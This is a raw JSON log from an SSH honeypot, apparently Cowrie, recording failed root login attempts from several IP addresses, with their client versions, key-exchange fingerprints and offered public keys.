{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:e2:9f:7a:cd:04:45:8b:24:78:e4:84:96:3c:70:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0zHLJyUAbz4gDC525+0Cu42luz9amHNLEud3+obBzprs4F/Rzgk5WoTpwcrZqCXVOIFzsVikhTTElc/BEiriphKFPx9OIg6uXMR2AJOuHA6BzV991WM20O5jlUnXzIg4hx3V9duzNw4Zr1Fbxku45x6lX7NrIqFUP+vkFcaVQJZf044VI9Ikrs5jag+6YUDkgchyn6mb4kLt98KYY40TmahSkqznYfUrn8cF6CfEupziFgrCkF3ClMRo1OFPJWpu0Pgr7ouhxzt/K84T15ctT7ZCFMy9WB3uQ1lES2Zxj3Lo0Ua6tqomtJopdqWnlg142rUwiGje2Qpq6TW7bZPV/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:43.535322Z","src_ip":"103.149.26.43","session":"7a31f9fa383d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:d6:e1:c7:ab:6d:c5:54:9d:9d:b1:8d:f9:f1:4c:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtKEZe7eQ7lmBuikzDALZjyBqXMbwMPxlljxHeCwsC3OmkVjE7kahNJH/ozFAJA51JS203w04gn0vr/R3z5T05tegoHAuYNKrqCPmliAGeH9ys14IMYGCotrQdK0VrTfHT94RwRnJddM3iCaRd6ZZOoG1gr01qGEvpjjC+t1ACFIpBE/VZfdA1SATUo1cZbZ8f1JoRtUocnOu9pXgyoA4g4UQUiwp9UyL5Cs0SIR5/QU9EHnU/1GHBgb6QssizNrA4o8uMGIsVu3PFWaMujMGwBuaUoxQKO5DGs7hxerOjh35OpLyhAFZnSklKv0+f+1J3EAqalKOqTUereDyaStgF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:d6:e1:c7:ab:6d:c5:54:9d:9d:b1:8d:f9:f1:4c:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:43.754374Z","src_ip":"103.149.26.43","session":"7a31f9fa383d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:d6:e1:c7:ab:6d:c5:54:9d:9d:b1:8d:f9:f1:4c:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtKEZe7eQ7lmBuikzDALZjyBqXMbwMPxlljxHeCwsC3OmkVjE7kahNJH/ozFAJA51JS203w04gn0vr/R3z5T05tegoHAuYNKrqCPmliAGeH9ys14IMYGCotrQdK0VrTfHT94RwRnJddM3iCaRd6ZZOoG1gr01qGEvpjjC+t1ACFIpBE/VZfdA1SATUo1cZbZ8f1JoRtUocnOu9pXgyoA4g4UQUiwp9UyL5Cs0SIR5/QU9EHnU/1GHBgb6QssizNrA4o8uMGIsVu3PFWaMujMGwBuaUoxQKO5DGs7hxerOjh35OpLyhAFZnSklKv0+f+1J3EAqalKOqTUereDyaStgF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:43.758167Z","src_ip":"103.149.26.43","session":"7a31f9fa383d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:16:37:12:f8:b1:19:13:4c:bd:48:f1:8d:9a:7b:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1EPoifdPz7IK0RjlT/ekTJc1sm8mwswBe/JvUwkytsdUhtShYVWeE+Nxf/Y5/Pu07tBa4IP38ykfL5ecWmCc6EZbub9kDvtj0Yt6+eubOcsJgZhQ8f3ogM2e1GzaHak9yNQJT67wQdcD6KHyb1qptIoRaCKR05LIuShlQzRFMIEz0dqWyVzrL+k0sD1mLbY1wEAijCQtPnCponWYo4WBtZ9UdSt7Lv1riZy3ZlU1i2pt+Z9yijR3IEzcEYH+VjmzwBW6cxxD5oZlDbFwcIvnIfilKf6jonfx9g4yAWKkQ4gB5/mjiJHMf+Snry6tV+wM9e9ST9CdKy1wUIDIUW9KN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:16:37:12:f8:b1:19:13:4c:bd:48:f1:8d:9a:7b:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:43.977044Z","src_ip":"103.149.26.43","session":"7a31f9fa383d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:16:37:12:f8:b1:19:13:4c:bd:48:f1:8d:9a:7b:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1EPoifdPz7IK0RjlT/ekTJc1sm8mwswBe/JvUwkytsdUhtShYVWeE+Nxf/Y5/Pu07tBa4IP38ykfL5ecWmCc6EZbub9kDvtj0Yt6+eubOcsJgZhQ8f3ogM2e1GzaHak9yNQJT67wQdcD6KHyb1qptIoRaCKR05LIuShlQzRFMIEz0dqWyVzrL+k0sD1mLbY1wEAijCQtPnCponWYo4WBtZ9UdSt7Lv1riZy3ZlU1i2pt+Z9yijR3IEzcEYH+VjmzwBW6cxxD5oZlDbFwcIvnIfilKf6jonfx9g4yAWKkQ4gB5/mjiJHMf+Snry6tV+wM9e9ST9CdKy1wUIDIUW9KN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:43.981006Z","src_ip":"103.149.26.43","session":"7a31f9fa383d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:52:bf:1e:f6:32:cf:9f:1a:3b:cf:c2:8c:c3:0c:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvF60rRJc31GzgN/3P7IjzONXA5q7jAQtxBFCzRAccpnFIPGnnoXIAWHknohMxfsXZe8AsblDWUP/sLIbEFh33AVKUjCVfVmgRc5+HYI/h2dOrCAWVhcVl6KI7VkjnDtdqaijxuCty7fFZwofowF98MLNSJp0+5Y2Sldx5RxS4v113HiKLa623piSTKCWcnT2PXCptDxp4htq4dkP3TCQ8e7myaFtMGpmAMCVy6jq7vSGv2YvQRkPiw0bIGTU7NvnUXZnIst4LqXz/sTXIe2XT8G33SsjcWvwBzqugfNzunp58fTHmf+CJzMF1H6+iHZSOqsNyytwiW8yQjwCafVsc4HZpmjqQDAoMBNnjOUJ25ZP2HI+M4UzhawKzDVmrHlhPP+rwf4tvgshlwBD9TDuCqobgfuHk+lWuXBxj+izYvLG2fbvGpoCP+kFNb0oyi4mygXzbuaBz02pyEnAynIyK+U0rg7+7bmNGpzXnaquNRdrfIFAfoK1p4FqGZrgO+aFomS8qCldy9uFZBrE5gL4lpywFnSieh9uySrOZkmpp1zL1KtrNq+KOkvHIajrps0q+JFw4xVlibNJAGHm2yExaNekWNs8D+N1bMzsDJ9wWxagFjGwM5ba+wHUwIb9qABiDCzk610cAduvyd+M0y6XmBO8kaDKajOI2T1jYfrt6PQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:52:bf:1e:f6:32:cf:9f:1a:3b:cf:c2:8c:c3:0c:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:44.202529Z","src_ip":"103.149.26.43","session":"7a31f9fa383d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:52:bf:1e:f6:32:cf:9f:1a:3b:cf:c2:8c:c3:0c:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvF60rRJc31GzgN/3P7IjzONXA5q7jAQtxBFCzRAccpnFIPGnnoXIAWHknohMxfsXZe8AsblDWUP/sLIbEFh33AVKUjCVfVmgRc5+HYI/h2dOrCAWVhcVl6KI7VkjnDtdqaijxuCty7fFZwofowF98MLNSJp0+5Y2Sldx5RxS4v113HiKLa623piSTKCWcnT2PXCptDxp4htq4dkP3TCQ8e7myaFtMGpmAMCVy6jq7vSGv2YvQRkPiw0bIGTU7NvnUXZnIst4LqXz/sTXIe2XT8G33SsjcWvwBzqugfNzunp58fTHmf+CJzMF1H6+iHZSOqsNyytwiW8yQjwCafVsc4HZpmjqQDAoMBNnjOUJ25ZP2HI+M4UzhawKzDVmrHlhPP+rwf4tvgshlwBD9TDuCqobgfuHk+lWuXBxj+izYvLG2fbvGpoCP+kFNb0oyi4mygXzbuaBz02pyEnAynIyK+U0rg7+7bmNGpzXnaquNRdrfIFAfoK1p4FqGZrgO+aFomS8qCldy9uFZBrE5gL4lpywFnSieh9uySrOZkmpp1zL1KtrNq+KOkvHIajrps0q+JFw4xVlibNJAGHm2yExaNekWNs8D+N1bMzsDJ9wWxagFjGwM5ba+wHUwIb9qABiDCzk610cAduvyd+M0y6XmBO8kaDKajOI2T1jYfrt6PQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:44.206584Z","src_ip":"103.149.26.43","session":"7a31f9fa383d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:44.425960Z","src_ip":"103.149.26.43","session":"7a31f9fa383d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":30958,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd041d0cd616","protocol":"ssh","message":"New connection: 171.244.201.80:30958 (10.17.0.5:22) [session: bd041d0cd616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:57.219236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:57.223361Z","src_ip":"171.244.201.80","session":"bd041d0cd616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:57.475146Z","src_ip":"171.244.201.80","session":"bd041d0cd616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kevin123","message":"login attempt [root/kevin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:58.520046Z","src_ip":"171.244.201.80","session":"bd041d0cd616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:59.775173Z","src_ip":"171.244.201.80","session":"bd041d0cd616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.95.137","src_port":59618,"dst_ip":"10.17.0.5","dst_port":22,"session":"8df1463fad80","protocol":"ssh","message":"New connection: 184.154.95.137:59618 (10.17.0.5:22) [session: 8df1463fad80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:00.310270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:00.315670Z","src_ip":"184.154.95.137","session":"8df1463fad80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:00.343996Z","src_ip":"184.154.95.137","session":"8df1463fad80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:6b:fa:53:bf:35:44:c9:b9:04:72:d4:32:82:a8:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC99p3Mxi74bkVZoYgoyyc69SUtnNdSopcCfCwaH8r2WTVMJo5RDsTemCcarp3z5IeQnaZuT/EDIP7yxPTTAW1AJMG5MeNAJSH7BbsY1l3y/uPvLrGgO84i3oig5GZhsiDE5ibrNuHg0yDdRc2vPVKUrUj5U6osTs7xCWbJshX3BIeGIjWyqRFXcPakhIW3gjEqVNyP1jE0JluRvCi2bQq8z7tDN7UN4/X0azxlir4NIOZF73Nr4lRLPrdaZe8wo4bdSwcqb2cdN5ISI71jxjxfxfwaTEwLy+PP0mBGOY7LgeFfD9vzcpjnQiodnDHBmHZuF8ZsCtdqYE7T7pwmpKOkOObJdjV1yjE/oCKchEUmmRaA5T0WV/9ENahzNJWKAeDX5QGHMUZpYQoPqV2DrLixMNSAqH47dxQuMdk92yxA8uTWjVo2lE0kyDSEStuM2KBZ32HoTz1Rn+894eXLdjyxfgsZiLfVlHvlPsg9+5BE+MRcmFJ6MgK4e5xSufP5PL0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:6b:fa:53:bf:35:44:c9:b9:04:72:d4:32:82:a8:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:00.462673Z","src_ip":"184.154.95.137","session":"8df1463fad80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:6b:fa:53:bf:35:44:c9:b9:04:72:d4:32:82:a8:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC99p3Mxi74bkVZoYgoyyc69SUtnNdSopcCfCwaH8r2WTVMJo5RDsTemCcarp3z5IeQnaZuT/EDIP7yxPTTAW1AJMG5MeNAJSH7BbsY1l3y/uPvLrGgO84i3oig5GZhsiDE5ibrNuHg0yDdRc2vPVKUrUj5U6osTs7xCWbJshX3BIeGIjWyqRFXcPakhIW3gjEqVNyP1jE0JluRvCi2bQq8z7tDN7UN4/X0azxlir4NIOZF73Nr4lRLPrdaZe8wo4bdSwcqb2cdN5ISI71jxjxfxfwaTEwLy+PP0mBGOY7LgeFfD9vzcpjnQiodnDHBmHZuF8ZsCtdqYE7T7pwmpKOkOObJdjV1yjE/oCKchEUmmRaA5T0WV/9ENahzNJWKAeDX5QGHMUZpYQoPqV2DrLixMNSAqH47dxQuMdk92yxA8uTWjVo2lE0kyDSEStuM2KBZ32HoTz1Rn+894eXLdjyxfgsZiLfVlHvlPsg9+5BE+MRcmFJ6MgK4e5xSufP5PL0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:00.471095Z","src_ip":"184.154.95.137","session":"8df1463fad80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:d1:20:d7:00:3d:e8:ba:10:c7:43:f1:19:4f:ff:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLw+U3RFQb1v2ulbUwLeuH/bZO5yjluRJWJO34QehfWM4l+ZwxOu+oaGKKu02EC/tsMxZfa5vinoOYVFtjsLOmLjMVphpoaa4wFpREJ4tJIeTMRXHVnQDC5OguTFmTmwhiDdI/n2Y3gJx8uJ8d7eOXB36BqzxkQ9cPsLkccqssi302bZGCVkH9GGCQJgv1NCi35BuiG9KJMf5w4xLr9I2WyLlxouOqN4nDyZAkepifxxlA0Y3Y7Xn7DG1SmeTyfHoDrSqOMq2YaedBBXrruJKSE4wpOYFONBB7fXUF3e3oMo4hk73CHtpikNwq2n1USXQ7AUQcPwnTVYN9nsv5+Ye9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:d1:20:d7:00:3d:e8:ba:10:c7:43:f1:19:4f:ff:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:00.501616Z","src_ip":"184.154.95.137","session":"8df1463fad80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:d1:20:d7:00:3d:e8:ba:10:c7:43:f1:19:4f:ff:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLw+U3RFQb1v2ulbUwLeuH/bZO5yjluRJWJO34QehfWM4l+ZwxOu+oaGKKu02EC/tsMxZfa5vinoOYVFtjsLOmLjMVphpoaa4wFpREJ4tJIeTMRXHVnQDC5OguTFmTmwhiDdI/n2Y3gJx8uJ8d7eOXB36BqzxkQ9cPsLkccqssi302bZGCVkH9GGCQJgv1NCi35BuiG9KJMf5w4xLr9I2WyLlxouOqN4nDyZAkepifxxlA0Y3Y7Xn7DG1SmeTyfHoDrSqOMq2YaedBBXrruJKSE4wpOYFONBB7fXUF3e3oMo4hk73CHtpikNwq2n1USXQ7AUQcPwnTVYN9nsv5+Ye9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:00.505610Z","src_ip":"184.154.95.137","session":"8df1463fad80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:11:9c:e3:3a:a6:1f:24:ed:07:9c:32:45:2b:2c:41","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPbJ+fh1ef2bVvZpZlY1VOtI8IAMsScV0aVHjds7vQ9bkTrjIZAzg3Buu6fCPqGykRZtAwNGmIqEjBh3zC7QDt6Ovh7Kk5gcgJFj7EAEhiqeT5gn8Xb8A8DCXwX1MEBwZn+zqYOx5v+5Yc8MWseDojfYsolnAGfgVSaMsq4qG8DDAAAAFQCFtsUPK2z2G3R/xLkQI49GzsEtTwAAAIAwmeH01kkvVobfX1yBgW0uAyrwAMF+nWLmoUNsBXXIVQWCtAUySuQm+AB1oIPwjR+5cWJGtNLMrSS54FXD/drzWunMzT07QQ4heXpYeX+Vgi2G6vSO5IR4+l2gmFBXapq6rwjyW9vq/sOl62dGmcdqNCnMQ5cLkV60cVENAMD8iwAAAIB8BaqnfXr5CoGNxkRji2ZajjBFb4rn5AJ3afmhkZyNtRQcbdWpokSYdgabh5P4wCLX3QMazfqgSz2rSubAayZVGuLJjEFKhfXlyo4mo9CIPsA95Zcgr4UgsRBHWm5l7IR6JjMAzbOfBDocupW2eoJbe0cajsbaj/F6G5dHrvd3Tg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint aa:11:9c:e3:3a:a6:1f:24:ed:07:9c:32:45:2b:2c:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:00.535131Z","src_ip":"184.154.95.137","session":"8df1463fad80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:11:9c:e3:3a:a6:1f:24:ed:07:9c:32:45:2b:2c:41","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPbJ+fh1ef2bVvZpZlY1VOtI8IAMsScV0aVHjds7vQ9bkTrjIZAzg3Buu6fCPqGykRZtAwNGmIqEjBh3zC7QDt6Ovh7Kk5gcgJFj7EAEhiqeT5gn8Xb8A8DCXwX1MEBwZn+zqYOx5v+5Yc8MWseDojfYsolnAGfgVSaMsq4qG8DDAAAAFQCFtsUPK2z2G3R/xLkQI49GzsEtTwAAAIAwmeH01kkvVobfX1yBgW0uAyrwAMF+nWLmoUNsBXXIVQWCtAUySuQm+AB1oIPwjR+5cWJGtNLMrSS54FXD/drzWunMzT07QQ4heXpYeX+Vgi2G6vSO5IR4+l2gmFBXapq6rwjyW9vq/sOl62dGmcdqNCnMQ5cLkV60cVENAMD8iwAAAIB8BaqnfXr5CoGNxkRji2ZajjBFb4rn5AJ3afmhkZyNtRQcbdWpokSYdgabh5P4wCLX3QMazfqgSz2rSubAayZVGuLJjEFKhfXlyo4mo9CIPsA95Zcgr4UgsRBHWm5l7IR6JjMAzbOfBDocupW2eoJbe0cajsbaj/F6G5dHrvd3Tg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:00.540091Z","src_ip":"184.154.95.137","session":"8df1463fad80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:6b:c8:62:8c:f4:9c:61:cd:25:3f:14:8e:af:6c:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzfHENVrdOfTihpNUlGG2R9cX1sLMjBe3martUxrn5Q1X+nvt7uwJ6RiodnTsibOGtJAjlnofCO8VzpHDspAtXUkoblBhemSEmfDtri2t8UOOXLNRgXnMaMWM5zyn/8XfDGpbTUHrDximWAOPlDjocmVyzut0lHJc32P7ABZhi7alFgj/mTcI5CyIHecLb3fx6VvrUmGgYQKwFsNKedtqDq2CqZ9Zmw4ONBTvQAv9OoUpgrPaxX7N4VOa/CjbkiXf8U/VzaD/n5HwbedBBLbOKV58mUJcysnsmsq0uj+mIl2e3Fk2x+IUvYNCu81Uxydr+DExFJPfGy41c6v0nhFnVw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:6b:c8:62:8c:f4:9c:61:cd:25:3f:14:8e:af:6c:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:00.570959Z","src_ip":"184.154.95.137","session":"8df1463fad80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:6b:c8:62:8c:f4:9c:61:cd:25:3f:14:8e:af:6c:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzfHENVrdOfTihpNUlGG2R9cX1sLMjBe3martUxrn5Q1X+nvt7uwJ6RiodnTsibOGtJAjlnofCO8VzpHDspAtXUkoblBhemSEmfDtri2t8UOOXLNRgXnMaMWM5zyn/8XfDGpbTUHrDximWAOPlDjocmVyzut0lHJc32P7ABZhi7alFgj/mTcI5CyIHecLb3fx6VvrUmGgYQKwFsNKedtqDq2CqZ9Zmw4ONBTvQAv9OoUpgrPaxX7N4VOa/CjbkiXf8U/VzaD/n5HwbedBBLbOKV58mUJcysnsmsq0uj+mIl2e3Fk2x+IUvYNCu81Uxydr+DExFJPfGy41c6v0nhFnVw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:00.575130Z","src_ip":"184.154.95.137","session":"8df1463fad80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:ef:f4:d9:37:7d:6d:59:a7:ba:03:52:42:33:69:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoW2ow057CAtP8lHr58cN2sG8bO2L38ZqGrXOXdQ8b/0w5w4qBXXdbXZNGw6kuzgvldstGP3sV/OvllYxGxnl0lMiF/CjDHcpH8kV9Qnhc1hy0saSfX4IVJ2CEDQ1lyIFQUDkzVHQwYVR/KyH/A5O9I8fnh09QRcTJ+GCw5Kp+/V7BE9bXJ6TA3vs5238yHzuARKEUOwpYGekHq6aJSRfY32P68GJxoIXN3qCwFg8cUm2j04c4B0cRzA4IO6TDjj8lzeDHbxjENYjTdLisp0bBU2Yv2eZlnrZ51aiU50vRjk43mj7eac3IKGBxAwKQofiUkzXiNRk0HcT+PqofYB8uw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:ef:f4:d9:37:7d:6d:59:a7:ba:03:52:42:33:69:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:00.606326Z","src_ip":"184.154.95.137","session":"8df1463fad80","protocol":"ssh"}
